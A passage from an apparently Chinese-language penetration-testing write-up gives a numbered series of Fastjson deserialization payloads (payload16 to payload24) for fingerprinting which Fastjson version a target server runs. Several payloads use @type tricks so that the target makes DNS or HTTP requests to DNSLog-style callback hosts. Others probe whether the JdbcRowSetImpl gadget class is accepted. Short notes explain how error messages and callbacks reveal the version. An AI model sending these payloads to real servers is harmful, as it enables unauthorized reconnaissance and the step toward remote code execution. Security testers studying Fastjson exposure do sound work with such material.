payload16:
{{"@type":"java.net.URL","val":"http://rpdmvyfajp.dgrh3.cn"}:"aaa"}
2.2.3 判断1.2.9<=version<=1.2.47
payload17:
{"username":{"@type":"java.net.InetAddress","val":"bjmgclhjrs.dgrh3.cn"}, "password":"admin"}
需要注意,有时候会报错如下,但是dnslog仍然会收到请求,这个是目标服务器的问题,多试就可以了:
deserialize inet adress error
2.2.4 判断1.2.10<=version<=1.2.47
payload18:
[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"6m2csu.dnslog.cn"}}]
除非对方有以下代码,否则1.2.47以后的版本都会报错:
ParserConfig.getGlobalInstance().addAccept("java.lang.Class");
ParserConfig.getGlobalInstance().addAccept("java.io.ByteArrayOutputStream");
2.2.5 判断1.2.9<=version<=1.2.36
payload19:
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://tbqnrzguzp.dgrh3.cn"}}""}
如果不报错、dnslog无响应,说明版本处于1.2.9至1.2.36。
2.2.6 判断1.2.37<=version<=1.2.83还是上面的payload19,如果dnslog有响应,说明处于1.2.37和1.2.83之间。
2.2.7 判断1.2.9<=version<=1.2.83payload20:
Set[{"@type":"java.net.URL","val":"http://wobfyhueao.dgrh3.cn"}]
2.2.8 判断version≠(1.2.24 || 1.2.83)
payload21:
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}
只有1.2.25<=version<=1.2.80的时候会报错,其他情况包括1.1和2.0的版本都是不会报错的。
2.2.9 判断1.2.69<=version<=1.2.83payload22:
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}
如果报错(autoType is not support. java.io.ByteArrayOutputStream),说明版本处于1.2.69和1.2.83之间;如果不报错,说明处于1.2.24到1.2.68之间。
2.2.10 判断1.2.48<=version<=1.2.83payload23:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
大部分情况下,如果报错,说明版本处于1.2.48到1.2.83,但是有时候也可能因为环境本身而出现奇奇怪怪的问题,比如我这里1.2.24也报错,只是报错内容不同:
1.2.47也报错,报错内容和前两者都不同:
由于我们不知道报错的详细信息,因此感觉不能作为一个精确判断的方法。我后来又拿之前的demo进行测试,发现符合结论,师傅们利用的时候须要注意。
2.2.11 判断version=1.2.24payload24:
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
按照@kezibei师傅给出的结论,这个payload只有1.2.24是不报错的,但是我本地靶场环境1.2.24也报错,只是和其他版本的不同: